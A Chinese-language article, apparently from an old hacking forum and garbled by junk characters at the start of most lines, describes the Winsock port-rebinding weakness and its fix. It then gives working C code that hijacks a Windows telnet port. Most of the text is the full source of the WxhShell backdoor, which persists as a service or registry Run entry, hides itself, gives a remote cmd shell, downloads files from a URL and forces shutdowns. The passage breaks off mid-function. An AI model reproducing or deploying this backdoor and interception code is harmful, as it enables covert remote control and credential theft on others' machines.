在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>G As&\4hs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S,vdd7Y rCb#E} saddr.sin_family = AF_INET;
(D{J| z:u)@>6D1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bc>&Qj2Z7c rU1Ri bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ACpecG "|V}[ 2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8O[l[5u& be?Bf^O> 这意味着什么?意味着可以进行如下的攻击:
[*@
+ eDvh3Y<D 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`oM'H+ Z_[L5B]Gwd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!-ZY_ 1X9J[5|ll 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|f(*R_R [\&2& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lR]FQnZ {.J<^V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j-ob7(v)*] Qraa0]56 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#qeC)T 6E.[F\u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
s-~`Ao'
< DgB;6Wl #include
_/Ay$l;F #include
`g0^W/j #include
ES8(:5 #include
\r [@A3O DWORD WINAPI ClientThread(LPVOID lpParam);
]bYmM@
int main()
g1(5QWb {
):y^g: WORD wVersionRequested;
U]g9t<jD DWORD ret;
P!!O~P WSADATA wsaData;
hFxT@I~ BOOL val;
<`wOy[e SOCKADDR_IN saddr;
7zIfsb SOCKADDR_IN scaddr;
r|i) int err;
=YD<q:n4 SOCKET s;
c c/nzB SOCKET sc;
[70 5[ int caddsize;
1/K1e$r HANDLE mt;
$RU K<JN$6 DWORD tid;
u!
dx+v d wVersionRequested = MAKEWORD( 2, 2 );
^Y5I OX: err = WSAStartup( wVersionRequested, &wsaData );
]'$:Y if ( err != 0 ) {
0G2Y_A&e** printf("error!WSAStartup failed!\n");
-Kcjnl92i return -1;
J6"GHbsO }
.tQ(q=# saddr.sin_family = AF_INET;
u6| IKZ 4;eD}g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
JAT%s
%UC Kf_xKW)^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7PBE(d%m saddr.sin_port = htons(23);
~$hR:I1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0j8`M"6 {
afzx?ekdF printf("error!socket failed!\n");
?e,:x ]\L return -1;
Ge7B%p8 }
W1Ye+vg/s val = TRUE;
yO,Jgn //SO_REUSEADDR选项就是可以实现端口重绑定的
1}+b4"7] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n$9Xj@+ {
N">#fYix printf("error!setsockopt failed!\n");
o$V0(1N return -1;
XODp[+xEEt }
C
,|9VH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?<Lm58p8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w.#z>4#3- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*'\ HG G?61P[j7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DsbTx.vA {
c27(en( ret=GetLastError();
q8FpJ\ printf("error!bind failed!\n");
ck3+A/ !z return -1;
'GiN^Y9dcc }
"S*@._ listen(s,2);
xtKU;+# while(1)
xq=!1> {
#kA?*i[T caddsize = sizeof(scaddr);
KWAd~8,mk //接受连接请求
oe0YxSauL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Q]3]Z/i if(sc!=INVALID_SOCKET)
`AvK=] {
G6G-qqXy6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]qu6/Z if(mt==NULL)
$)BPtGMGo {
rK`^A printf("Thread Creat Failed!\n");
\7pEn break;
^:}C,lIrG }
y6x./1Nb}< }
FK94CI CloseHandle(mt);
WWH<s%C }
NffKK:HvBB closesocket(s);
p<}y'7( WSACleanup();
r/"^{0;F{W return 0;
pU'>!<zGr }
Gf:dN_e6. DWORD WINAPI ClientThread(LPVOID lpParam)
'J5F+,\Ka {
K2e*AE* SOCKET ss = (SOCKET)lpParam;
wu`+KUx SOCKET sc;
#g0N/ unsigned char buf[4096];
Fq5u%S SOCKADDR_IN saddr;
!
Vlx long num;
I,HtW ), DWORD val;
*N:0L,8 DWORD ret;
9!Jt}n?!g //如果是隐藏端口应用的话,可以在此处加一些判断
PHY!yc-LjV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4;r,U{uR saddr.sin_family = AF_INET;
%<[{zd1C- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
r;*
|^> saddr.sin_port = htons(23);
z8]@Gh+
( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cAot+N+9|] {
0a#v}w^* printf("error!socket failed!\n");
pV_zePyOn return -1;
^;.u}W }
\i@R5v=zL val = 100;
.:B>xg~2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
);6f8H@G {
?%Tx%
dB ret = GetLastError();
MPy><J return -1;
`Syfl^9B }
4z26a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O8_!!Qd {
&zJ*afi) ret = GetLastError();
\=mLL|a return -1;
+zq"dj_ }
U{LS_VI~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
aNNRw(0/ {
u%E8&T8, printf("error!socket connect failed!\n");
U1pE2o- closesocket(sc);
p@uHzu7 closesocket(ss);
b4bd^nrqV return -1;
?Tu=-ppw }
N- knhA while(1)
" zD9R4\X. {
0GeL">v,:= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R8eBIJ/@_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
-C}"1|P! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?A_+G 5 num = recv(ss,buf,4096,0);
^blw\;LB if(num>0)
DI2e%`$ send(sc,buf,num,0);
<eS/-W%n6 else if(num==0)
wVnmT94 break;
T]tu#h{
a num = recv(sc,buf,4096,0);
w?^[*_Y if(num>0)
VNIl%9:-l send(ss,buf,num,0);
Q^nfD
else if(num==0)
cfa1"u""e break;
F ]Zg }
yRl closesocket(ss);
Bp5ra9*5+~ closesocket(sc);
9+s&|XS* return 0 ;
YM'4=BlJHv }
CI$z+zN /2c(6h 9&.md,U ' ==========================================================
,+6u6 n*na6rV\k 下边附上一个代码,,WXhSHELL
g<M!]0OK HiU)q ==========================================================
~9vK6;0 nGYimRYO #include "stdafx.h"
TNA7(<"fV| CM++:Y vJ #include <stdio.h>
lqJ92vi6Q #include <string.h>
yt5<J-m #include <windows.h>
eI2HTFyT #include <winsock2.h>
kh2TDxa& #include <winsvc.h>
PsXCpyY!s #include <urlmon.h>
FdzdoMY $,U/,XA
{E #pragma comment (lib, "Ws2_32.lib")
qTdwi?j_ #pragma comment (lib, "urlmon.lib")
{ AYW
C6Y
F;}JSb" #define MAX_USER 100 // 最大客户端连接数
7H{1i #define BUF_SOCK 200 // sock buffer
jG;J qT #define KEY_BUFF 255 // 输入 buffer
{cIk-nG-_ EK"/4t{L_ #define REBOOT 0 // 重启
0;">ETh= #define SHUTDOWN 1 // 关机
at@tS>Dv R#;xBBt8 #define DEF_PORT 5000 // 监听端口
(B\
UZb ~h
Dp-R; #define REG_LEN 16 // 注册表键长度
?2Z`xL9QT #define SVC_LEN 80 // NT服务名长度
6Q]c} DgW@v[#BK= // 从dll定义API
T@IzfX7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/(hTk& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,f:K)^yD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!3k-' ),z& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m[3c,Axl7 83/m^^F{] // wxhshell配置信息
d<Q%h?E struct WSCFG {
]3f[v:JQ int ws_port; // 监听端口
&;P\e char ws_passstr[REG_LEN]; // 口令
u^{p'a' int ws_autoins; // 安装标记, 1=yes 0=no
KRT&]2 char ws_regname[REG_LEN]; // 注册表键名
fd>{UyU char ws_svcname[REG_LEN]; // 服务名
-k8sR1( char ws_svcdisp[SVC_LEN]; // 服务显示名
NiW9/(;xB char ws_svcdesc[SVC_LEN]; // 服务描述信息
(&/4wI^M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l9a81NF{s int ws_downexe; // 下载执行标记, 1=yes 0=no
zm5PlG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,-E'059 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Komdz/g q6C`hVMl };
z7`|N`$Z#s NFEr ,n // default Wxhshell configuration
9S}rTZkEq struct WSCFG wscfg={DEF_PORT,
GAYn*'< "xuhuanlingzhe",
l:UKU ! 1,
a@W9\b@I "Wxhshell",
\ Voly "Wxhshell",
0q-lyVZ^X "WxhShell Service",
7>O`UT<t4@ "Wrsky Windows CmdShell Service",
8uLS7\,$z "Please Input Your Password: ",
o)@nnqa 1,
kG!hqj "
http://www.wrsky.com/wxhshell.exe",
xlwf @XW "Wxhshell.exe"
T:{r*zLSN };
}Cw,m0KV/ Wd)\r.pJ // 消息定义模块
$Uy+]9
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^?""'1iuQx char *msg_ws_prompt="\n\r? for help\n\r#>";
U{oM*[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X5J )1rL char *msg_ws_ext="\n\rExit.";
Tf]ou5| char *msg_ws_end="\n\rQuit.";
?i#x13 char *msg_ws_boot="\n\rReboot...";
JXe~
9/! char *msg_ws_poff="\n\rShutdown...";
ly*v|(S& char *msg_ws_down="\n\rSave to ";
CQ/+- -o Eq;w5;7s char *msg_ws_err="\n\rErr!";
Nr>UZlU8 char *msg_ws_ok="\n\rOK!";
L{F]uz_[x jwE= char ExeFile[MAX_PATH];
*.>@ int nUser = 0;
<zn)f@W HANDLE handles[MAX_USER];
Tt~[hC
h int OsIsNt;
;#v3C; >\?
z,Nin SERVICE_STATUS serviceStatus;
ZJ)Z
SERVICE_STATUS_HANDLE hServiceStatusHandle;
Icg-rwa<Z b,~pwbHf // 函数声明
IMqe( int Install(void);
[iq^'E int Uninstall(void);
E#rQJ int DownloadFile(char *sURL, SOCKET wsh);
*m<[ sS int Boot(int flag);
U; m@ void HideProc(void);
p+]S)K GZw int GetOsVer(void);
*aCVkFp int Wxhshell(SOCKET wsl);
W9w(a:~hY void TalkWithClient(void *cs);
k $gcQ:| int CmdShell(SOCKET sock);
Sj(>G; int StartFromService(void);
z[_Y,I int StartWxhshell(LPSTR lpCmdLine);
]i`Q+q[ (b#M4ho*f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}'x)e VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z!|r> '{
=F/q // 数据结构和表定义
P`Ku.
ONQ SERVICE_TABLE_ENTRY DispatchTable[] =
Fh)xm* u( {
gF)-Ci {wscfg.ws_svcname, NTServiceMain},
`f~bnL {NULL, NULL}
MSM8wYcD };
B;=Z^$%T }a5TY("d9H // 自我安装
*'8q?R?7g int Install(void)
dNt^lx {
vkGF_aenk char svExeFile[MAX_PATH];
ms}o[Z@n HKEY key;
\X*y~)+K` strcpy(svExeFile,ExeFile);
LZ_VLW9wE e7xv~C>g // 如果是win9x系统,修改注册表设为自启动
(!{*@?S if(!OsIsNt) {
w@,p` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?B ,<gen RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#!O)-dyF RegCloseKey(key);
|Ol29C$@| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^|Fy!kp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_dk[k@5W{' RegCloseKey(key);
&&C70+_po return 0;
G^dp9A }
Ij4q &i" }
Y3[KS;_fr9 }
i3|xdYe$ else {
?y>ji1 '1b8>L // 如果是NT以上系统,安装为系统服务
Bcv{Y\x;ko SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
RA<ky*^dr if (schSCManager!=0)
WIi,`/K+ {
VZcW
3/Y SC_HANDLE schService = CreateService
`(?c4oq,c> (
l]zQSXip schSCManager,
$nmt&lm wscfg.ws_svcname,
+jB; wscfg.ws_svcdisp,
_w?!Mu SERVICE_ALL_ACCESS,
Gy):hGgN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@,sjM] SERVICE_AUTO_START,
P<&bAsje SERVICE_ERROR_NORMAL,
xOShO"4Z svExeFile,
xP_%d, NULL,
*Xk5H,: NULL,
~3gazTe9 NULL,
l@GJcCufE NULL,
hE=xS:6 NULL
OV;VsF );
3^wHL:u if (schService!=0)
!6X6_ +}M {
rM= :{ CloseServiceHandle(schService);
Lwi"K8.u CloseServiceHandle(schSCManager);
^TZmc{i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qQ)1+^ strcat(svExeFile,wscfg.ws_svcname);
-|}?+W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9rz$c, Y( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
UJqh~s RegCloseKey(key);
IowXVdm@6 return 0;
+=9iq3<yfS }
T<Xw[PEnP }
u4
es8" CloseServiceHandle(schSCManager);
oCkG }
].J;8} }
Am@Ta "2 ZlC+DXg#S return 1;
Hm'fK$y( }
b3>zdS]Q ] \|2= // 自我卸载
Zx{ Sxv" int Uninstall(void)
\`~YW<D {
]3,9."^ HKEY key;
sk9Ejaf6> (OE S~G if(!OsIsNt) {
z0+JMZ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g9^\QYh! RegDeleteValue(key,wscfg.ws_regname);
lFtEQ '} RegCloseKey(key);
Q .Nw#r+m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UVlB= RegDeleteValue(key,wscfg.ws_regname);
,h1\PT9ULY RegCloseKey(key);
,_YI:xie|c return 0;
ZJWpb }
&'k(v(>n, }
B6&[_cht }
C@ q#s else {
[N~7PNd S #'KM$l,P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`qmwAT if (schSCManager!=0)
6 L4\UTr {
<?IDCOt ? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%E@o8 if (schService!=0)
m_Ed[h/I {
tik*[1it if(DeleteService(schService)!=0) {
Rkk`+0K7$J CloseServiceHandle(schService);
j~\FDcG*ed CloseServiceHandle(schSCManager);
H?;+C/-K`_ return 0;
WG A&Lr }
LvS5N)[ CloseServiceHandle(schService);
NvIg,@} }
,8Q0AkG CloseServiceHandle(schSCManager);
QChWy`x }
+~G:z|k }
f@ |[pT %Bm{ctf#) return 1;
k]:`<`/I_ }
".|8 (Y a"xRc // 从指定url下载文件
3,G|oR{D int DownloadFile(char *sURL, SOCKET wsh)
d_$0 {
-:d{x# HRESULT hr;
dL4VcUS. char seps[]= "/";
|Tmug X7 char *token;
J&h59dm- char *file;
Xlug{ Uh char myURL[MAX_PATH];
X4:84 char myFILE[MAX_PATH];
jbe:"Stw JE:LA+ ( strcpy(myURL,sURL);
|*J;X<Vm token=strtok(myURL,seps);
{~51h}>b# while(token!=NULL)
L''VBY"? {
-eV*I>G file=token;
,^mEi token=strtok(NULL,seps);
y~]D402Cx }
zFFYl7] "wV GetCurrentDirectory(MAX_PATH,myFILE);
3)>re& strcat(myFILE, "\\");
Q`J U[nY strcat(myFILE, file);
W?E01"p send(wsh,myFILE,strlen(myFILE),0);
y=\&z&3$ send(wsh,"...",3,0);
mp sX4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a>4q"IT6 if(hr==S_OK)
r*mYtS return 0;
2Q(ZW@0 else
:n~Mg{j3 return 1;
vxPr)"Vvz tq}sedYhee }
6v:L8t$" *wqR .n? // 系统电源模块
_G-6G=q int Boot(int flag)
VWdTnu {
Tg@G-6u0c HANDLE hToken;
d=+zOF TOKEN_PRIVILEGES tkp;
YSB> WBS-< 9({ 9 r[U if(OsIsNt) {
;6 d-+(@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)N^fSenFBn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c{D<+XM tkp.PrivilegeCount = 1;
]S?G]/k} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F3!6}u\F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&-NGVPk81` if(flag==REBOOT) {
W=S^t_F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^oC>,%7 return 0;
qrOesSdc }
j3w~2q"r else {
~IO'"h'w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wb#[&2i return 0;
q2B'R }
wH=7pS"s }
b?Q$UMAbH else {
w(+L&IBC if(flag==REBOOT) {
?en-_'}~a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fOSJdX0e|Q return 0;
m|?1HCRXRI }
V0,5c`H c else {
{Gfsiz6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8KR17i1 return 0;
po]<sB }
g] IPNW^n }
i/8OC \N? lG q return 1;
%ByqkY{5F }
*hFJI9G vqUYr // win9x进程隐藏模块
e5FF'~A%] void HideProc(void)
s;Z i {
56C'<# _8`S&[E? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P%w!4v~" if ( hKernel != NULL )
|,.1=|&u {
~|{e"!(} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V.Lk70 \ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@Py'SH!- FreeLibrary(hKernel);
YyYp-0# }
6x!iL\Y~ FDGzh/ return;
XI ><;# }
Wa?\W& )!zg=}V // 获取操作系统版本
)WEOqaR] int GetOsVer(void)
T9}dgf {
vXdI)Sx[ OSVERSIONINFO winfo;
A$P Oc< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
E7SmiD@) GetVersionEx(&winfo);
n*AN/LBp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
N-p||u return 1;
6I]{cm else
}ew)QHd return 0;
,*L3 }
b83m'`vRM h}m9L!+n8 // 客户端句柄模块
+r"fv*g" int Wxhshell(SOCKET wsl)
A i#~Eu* {
FhEfW7]0, SOCKET wsh;
[W'2z,S`WD struct sockaddr_in client;
X*)DpbWd DWORD myID;
>^@~}]L Zwtz )ZII while(nUser<MAX_USER)
\H PB{
; {
sA"B/C|(g int nSize=sizeof(client);
\<}e?Yx% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gZz5P>^ if(wsh==INVALID_SOCKET) return 1;
-Y"2c,~pH gazX2P[D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
j3?@p5E( if(handles[nUser]==0)
?|hYtV closesocket(wsh);
[].euDrX else
RbA.&=3 nUser++;
8X\":l: }
R C!~eJG! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]>+ teG:4 o8A(Cg} return 0;
[;C*9Nl }
5S! !@P!, (x[z=_I%` // 关闭 socket
p@YbIn void CloseIt(SOCKET wsh)
]*rK; {
Jd|E
4h~( closesocket(wsh);
<5|:QLqy nUser--;
>/-Bg: ExitThread(0);
,F|49i.K }
%:-2P g`=Z%{z% // 客户端请求句柄
M"OCwBTU void TalkWithClient(void *cs)
%wq;<'W {
kKVNE hTp I^``x+a SOCKET wsh=(SOCKET)cs;
=^ x1:Ak char pwd[SVC_LEN];
%$R]NL| char cmd[KEY_BUFF];
Uo:=-NNI char chr[1];
CY@#_z int i,j;
Q\le3KB NrcxuItkYn while (nUser < MAX_USER) {
R{Me~L? ML1/1GK*i+ if(wscfg.ws_passstr) {
R8,
g^N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cEPqcy
* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2B=BRVtSs //ZeroMemory(pwd,KEY_BUFF);
QyEoWKu; i=0;
pc]( while(i<SVC_LEN) {
`jGG^w3 l4E0/F // 设置超时
b5%T)hn= fd_set FdRead;
Z~g7^,-t struct timeval TimeOut;
{@X)=.Zf FD_ZERO(&FdRead);
_s0;mvz' FD_SET(wsh,&FdRead);
X_wPuU% TimeOut.tv_sec=8;
6oR5q 4 TimeOut.tv_usec=0;
p<(b^{EX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j@jUuYuDgl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0SDyE @ql S #( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
HUGhz pwd
=chr[0]; " ,45p@
if(chr[0]==0xd || chr[0]==0xa) { vSJ#
}&
pwd=0; ;c# jO:A5
break; x?G"58
} wvEdZGO8!
i++; :T/I%|;f
} _Qf310oONS
Y$eO:67;
// 如果是非法用户,关闭 socket lMb&F[KJ7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -=4:qQEw
} f]kG%JEK
\hqjk:o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bR83N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)qxrBc0
\
UiITP<
while(1) { iq`caoi
5}'W8gV?
ZeroMemory(cmd,KEY_BUFF); Nb/Z +
~d=Y98'xS
// 自动支持客户端 telnet标准 a`; nB E
j=0; yH',vC.
while(j<KEY_BUFF) { bb`8YF+?'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uizg.<.
cmd[j]=chr[0]; j:'8yFi_
if(chr[0]==0xa || chr[0]==0xd) { 43BqNQ0
cmd[j]=0; D'\gy$9m1
break; ]9$^=z%SE
}
D~t
j++; *~jTE;J
} ,uCgC4EP
;0:[X+"(
// 下载文件 #HmZe98[%
if(strstr(cmd,"http://")) { h9l 6AnbJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [|APMMYK1
if(DownloadFile(cmd,wsh)) \) g?mj^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*5(KIeeC>
else /NFm6AA]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !,JV<(7k
} HV8=b"D"
else { AP/#?
;a~
e
switch(cmd[0]) { t'e5!Ma
G Y+li{
// 帮助 {1J4Q[N9m
case '?': { #b$qtp!,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5/m}v'S%
break; 'DtC=
} %HcCe[d5l
// 安装 A $W~R
case 'i': { ~qezr\$2
if(Install()) .CBb%onx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s73' h
else em?Q4t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ=xy[q]~
break; trMwFpfu
} d2X?^
// 卸载 `]wk)50BVp
case 'r': { b_a6|
if(Uninstall()) F%G} >xn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8
pOA<s
else I"2*}v|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I@:"Qee
break; K5}0!_)G
} )H[Pz.'ah0
// 显示 wxhshell 所在路径 O#x=iZI
case 'p': { OzUo}QN
char svExeFile[MAX_PATH]; D7v_<
strcpy(svExeFile,"\n\r"); ^D A<=C-[!
strcat(svExeFile,ExeFile); ibh,d.*~g
send(wsh,svExeFile,strlen(svExeFile),0); ]Yk)A.y
break; jAy0k
} X
v$"B-j
// 重启 cng166}1A
case 'b': { EfGy^`,'G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \U.js-
if(Boot(REBOOT)) X \qG
WpN%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Cw3b\ne
else { Tx|y!uHh
closesocket(wsh); }mOo= )C!
ExitThread(0); gvoYyO#cm
} p'\zL:3
break; kt7x}F(?<
} EjP9/VG@=
// 关机 |H>;a@2d
case 'd': { t_jnp $1m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ar'k6NX
if(Boot(SHUTDOWN)) >1RL5_US
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !uqp?L^;
else { %'.3t|zH
closesocket(wsh); zQaD&2 q
ExitThread(0); - |4 Oq
} puox^
break; du_~P"[
} N."x@mV
// 获取shell d8K|uEHVz
case 's': { 2 :wgt
CmdShell(wsh); 4OFv#$[
closesocket(wsh); 1h?QEZ,6a
ExitThread(0); #|=Q5"wU
break; /cZTj!M
} }/MmuPp
// 退出 lESv
case 'x': { ^o4](l
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &1ZUMc
CloseIt(wsh); 'PWA
break; @S1Z"%S
} Ty} Y/jW
// 离开 @;}vK=6L
case 'q': { H
h35cj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); __}ut+H^5p
closesocket(wsh); l"/E,X
WSACleanup(); HJJ;gTj
exit(1); O~mQ\GlW
break; 2WC$r8E
} *U +<Hv`C
} jc HyRR1R
} lcK4 Uq\q
;.=]Ar}
// 提示信息 n0g8B
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7MQh,J!"
} &z@}9U*6b
} iw%""q(`
3:T~$M`]
return; 934@Z(aUH
} %F\.1\&eE
l2ie\4dK@
// shell模块句柄 k~)@D| ?
int CmdShell(SOCKET sock) jXPbj.
{ D>0(*O
STARTUPINFO si; #HZ W57"
ZeroMemory(&si,sizeof(si)); e8S4=W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [:+f Y[4==
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TjHt:%7.
PROCESS_INFORMATION ProcessInfo; j8c5_&
char cmdline[]="cmd"; }{)Rnb@
>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -kHJH><j
return 0; _=}.Sg5Q
} g'cVsO)S
aW9\h_$
// 自身启动模式 xjD."q
int StartFromService(void) X8):R- J
{ kPoz&e_@
typedef struct I51I(QF=
{ ~F%sO'4!
DWORD ExitStatus; nw(R=C
DWORD PebBaseAddress; vo(:g6$
DWORD AffinityMask; *HB 32 =qD
DWORD BasePriority; gegM&Xo
ULONG UniqueProcessId; GL~
Wnt
ULONG InheritedFromUniqueProcessId; -fp/3-
} PROCESS_BASIC_INFORMATION; o`G6!
-ijzo%&qA
